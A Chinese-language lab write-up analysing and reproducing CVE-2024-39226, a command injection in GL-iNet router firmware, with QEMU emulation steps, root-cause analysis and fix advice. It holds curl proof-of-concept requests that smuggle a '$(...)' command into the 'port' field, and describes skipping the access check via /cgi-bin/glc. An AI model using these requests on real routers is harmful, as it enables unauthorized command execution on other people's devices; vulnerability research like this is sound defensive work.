GL-iNet 路由器 CVE-2024-39226 漏洞分析
字数 1349 2025-08-20 18:18:17
GL-iNet路由器CVE-2024-39226漏洞分析与复现指南
1. 漏洞概述
CVE-2024-39226是影响多款GL-iNet路由器的命令注入漏洞,存在于s2s模块的enable_echo_server功能中。攻击者可通过构造恶意请求在路由器上执行任意命令。
2. 受影响产品
- 基于OpenWrt操作系统的GL-iNet路由器
- 确认受影响的固件版本:GL-AX1800 Flint 4.5.16
3. 环境搭建
3.1 固件提取
- 从GL-iNet官网下载受影响固件
- 使用binwalk提取Squashfs文件系统:
binwalk -Me root - 确认架构为32位ARM:
file squashfs-root/bin/busybox
3.2 QEMU模拟
-
准备ARM架构模拟环境:
- vmlinuz-3.2.0-4-vexpress(内核镜像)
- initrd.img-3.2.0-4-vexpress(RAM磁盘映像)
- debian_wheezy_armhf_standard.qcow2(虚拟磁盘)
-
启动QEMU:
sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -
配置网络:
- 宿主机运行net.sh脚本创建tap0接口
- QEMU虚拟机配置IP和路由:
ifconfig eth0 192.168.100.2 netmask 255.255.255.0 route add default gw 192.168.100.254
-
上传固件并chroot:
scp -r squashfs-root/ root@192.168.100.2:/root mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev chroot ./squashfs-root/ sh
4. 服务启动
4.1 启动Nginx
-
首次尝试启动:
/etc/init.d/nginx start- 可能报错缺少目录,需手动创建
-
修复404问题:
/etc/uci-defaults/80_nginx-oui
4.2 启动依赖服务
-
启动ubus-proxy:
/sbin/ubusd -
启动fcgiwrap:
/etc/init.d/fcgiwrap start
5. 漏洞复现
5.1 本地利用PoC
curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
5.2 远程利用PoC
curl http://192.168.100.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(touch /root/test2024)"}}'
6. 漏洞分析
6.1 漏洞位置
- 文件:/usr/lib/oui-httpd/rpc/s2s.so
- 函数:enable_echo_server
6.2 漏洞成因
- 代码检查port参数是否为有效数字(正数且<65535)
- 但未严格限制内容,允许嵌入特殊字符如$()
- 通过snprintf构造命令字符串:
snprintf(v27, 128, "%s -p %s -f", "/usr/bin/echo_server", v9); - 最终通过system()执行:
system(v27);
6.3 调用链分析
-
请求路径:
- /rpc → /usr/share/gl-ngx/oui-rpc.lua
- /cgi-bin/glc → /www/cgi-bin/glc
-
权限校验:
- /usr/lib/lua/oui/rpc.lua中的access函数
- 检查is_local和glinet标头
-
绕过方法:
- 直接请求/cgi-bin/glc可跳过权限校验
7. 修复建议
- 对port参数进行严格过滤,禁止任何非数字字符
- 避免使用system()执行命令,改用execve等安全函数
- 加强权限校验,确保所有路径都经过适当验证
8. 关键文件列表
-
配置文件:
- /etc/nginx/conf.d/gl.conf
- /etc/nginx/nginx.conf
-
处理脚本:
- /usr/share/gl-ngx/oui-rpc.lua
- /usr/lib/lua/oui/rpc.lua
- /www/cgi-bin/glc
-
漏洞模块:
- /usr/lib/oui-httpd/rpc/s2s.so
9. 调试技巧
-
查看Nginx日志:
- 修改/etc/nginx/nginx.conf增加日志级别
- 日志路径通常为/var/log/nginx/
-
服务状态检查:
- 确认ubusd和fcgiwrap进程是否运行
- 检查端口监听情况
-
错误排查:
- 确保所有必需目录存在
- 检查文件权限是否正确